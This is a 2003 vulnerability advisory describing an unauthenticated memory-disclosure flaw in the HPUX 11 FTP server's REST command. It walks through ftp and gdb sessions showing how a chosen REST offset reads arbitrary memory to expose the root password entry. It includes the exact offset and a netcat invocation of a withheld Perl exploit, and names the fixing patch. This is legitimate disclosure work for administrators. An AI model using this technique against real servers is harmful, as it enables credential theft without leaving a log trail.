--------------040907070108070101050007
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
http://www.secnetops.biz/research
--------------040907070108070101050007
Content-Type: text/plain;
name="SRT2003-06-05-0935.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="SRT2003-06-05-0935.txt"
Secure Network Operations, Inc. http://www.secnetops.com
Strategic Reconnaissance Team research@secnetops.com
Team Lead Contact kf@secnetops.com
Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion
Detection Systems (IDS), Software Security Validation, and
Corporate/Private Network Security. Our mission is to facilitate a
secure and reliable Internet and inter-enterprise communications
infrastructure through the products and services we offer.
Quick Summary:
************************************************************************
Advisory Number : SRT2003-06-05-0935
Product : HPUX FTP server
Version : Version 1.1.214.4
Vendor : http://www.hp.com
Class : Remote
Criticality : High
Operating System(s) : HPUX 11
High Level Explanation
************************************************************************
High Level Description : Remote unauthenticated file viewing via ftpd
What to do : Install HPUX patch PHNE_21936 or higher
Technical Details
************************************************************************
Proof Of Concept Status : Secure Network Operations does have PoC code
Low Level Description :
The ftpd that comes default with HPUX 11 is vulnerable to an attack that
will allow an attacker to view the contents of any file on the system
without first authenticating. This is subject to first getting the file
into memory.
This issue occurs in the REST command. REST is intended to allow the user
to restart an upload or download from a previous location. If for a user
was for example disconnected from the internet he or she could resume
the session where he left off at a later time. The argument that is passed
to the REST command can be used to specify a memory address to read from.
This allows an attacker for example to easily read the root password from
memory.
Since the source code for the HPUX ftpd is not at my disposal I can only
make an assumption on the origin of this bug. After fully exploiting the
issue I did run across a small bullet in a patch log which appears to
point out the cause of the problem.
In the text description for HPUX patch PHNE_21936 I found the following.
PHNE_18377:
The wrong conversion character was used in the format string to define
the filesize.
Resolution:
The conversion character in the format was changed to the offset_uformat
macro.
When exploiting this issue I noticed the offset_uformat macro seems to
be used when presenting the user with data about the restarted session.
Due to the bad use of a conversion character and the connection with
offset_uformat I felt there was a good chance this caused the problem.
If we take a look in gdb we can see how this bug becomes exploitable.
frieza elguapo $ ftp 192.168.1.111
Connected to 192.168.1.111.
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
Name (192.168.1.111:root): elguapo
331 Password required for elguapo.
Password:
230 User elguapo logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> rest 1111111111111111
restarting at 2147483647. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
# gdb /usr/lbin/ftpd 2862
GNU gdb 4.18-hppa-991112
Copyright 1998 Free Software Foundation, Inc.
/home/elguapo/2862: No such file or directory.
Attaching to program: /usr/lbin/ftpd, process 2862
Unable to find __dld_flags symbol in object file.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x7fffffff: Bad address.
(gdb) info registers r3 r11
r3: 7fffffff
r11: 7fffffff
For some reason we are trying to read from the address 0x7fffffff. If
we try different offsets for the REST command we discover that we have
full control of the address being read. In gdb this address can be
found in both r3 and r11. Below you see the result of trying different
addresses. The value that is stored in r3 will later be used in a call
to write() .
ftp> rest 200000
restarting at 200000. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d40: Bad address.
ftp> rest 200002
restarting at 200002. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d42: Bad address.
ftp> rest 200004
restarting at 200004. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d44: Bad address.
You should note that the address that is being read from seems to be
incremented as we increment the REST offset.
At this point we only need to find a good section of memory to try to
read from. I figured out rather quickly that when attempting to login
to the ftpd the root password is obviously put in memory. After a bit
of tracing through system calls I found the address that the password
was stored at and simply supplied that address via the REST command.
The result of that exercise can be seen below.
During authentication the following occurs.
open("/etc/passwd", O_RDONLY, 0666) [entry]
open("/etc/passwd", O_RDONLY, 0666)
ioctl(5, TCGETA, 0x7f7e61b8)[entry]
ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
read(5, 0x4002fe10, 8192)[entry]
read(5, 0x4002fe10, 8192)= 454
r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :
The address 0x4002fe10 should now contain the root password. This is the
address that we should put in the r3 register. REST 1073937936 should
do the job. A simple perl script serves the purpose of an exploit.
frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
331 Password required for root.
530 Login incorrect.
350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n
daemon:*:1:5::/:/sbin/sh\n bin:
...
You will notice that the root password is printed to the screen as part of
the restart information. We have now successfully exploited this issue.
Unfortunately there is zero information left in log files for tracking the
attacker. Below is an example of what you would see in syslog.
Jan 1 07:34:53 kakarot ftpd[2138]: pam_authenticate: Authentication failed
Jan 1 07:34:53 kakarot ftpd[2138]: User root: Login incorrect
Jan 1 07:34:53 kakarot ftpd[2138]: FTP session closed
I have not yet decided if HP fixed this issue on accident when they noted
the "wrong conversion character" was used in their code or if they were
simply following suit with their usual policy of releasing information on
"Unspecified" and "Potential" holes. Regardless HP has put out a fix for
this issue. I believe PHNE_18377 contained several other WU-FTPD fixes
so I am leaning towards the "Unspecified" / Silent fix.
Patch or Workaround: Install HPUX patch PHNE_18377 or higher (PHNE_21936)
Vendor Status : Vendor *accidentally* fixed this in PHNE_18377
Bugtraq URL : to be assigned
------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.
--------------040907070108070101050007--
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
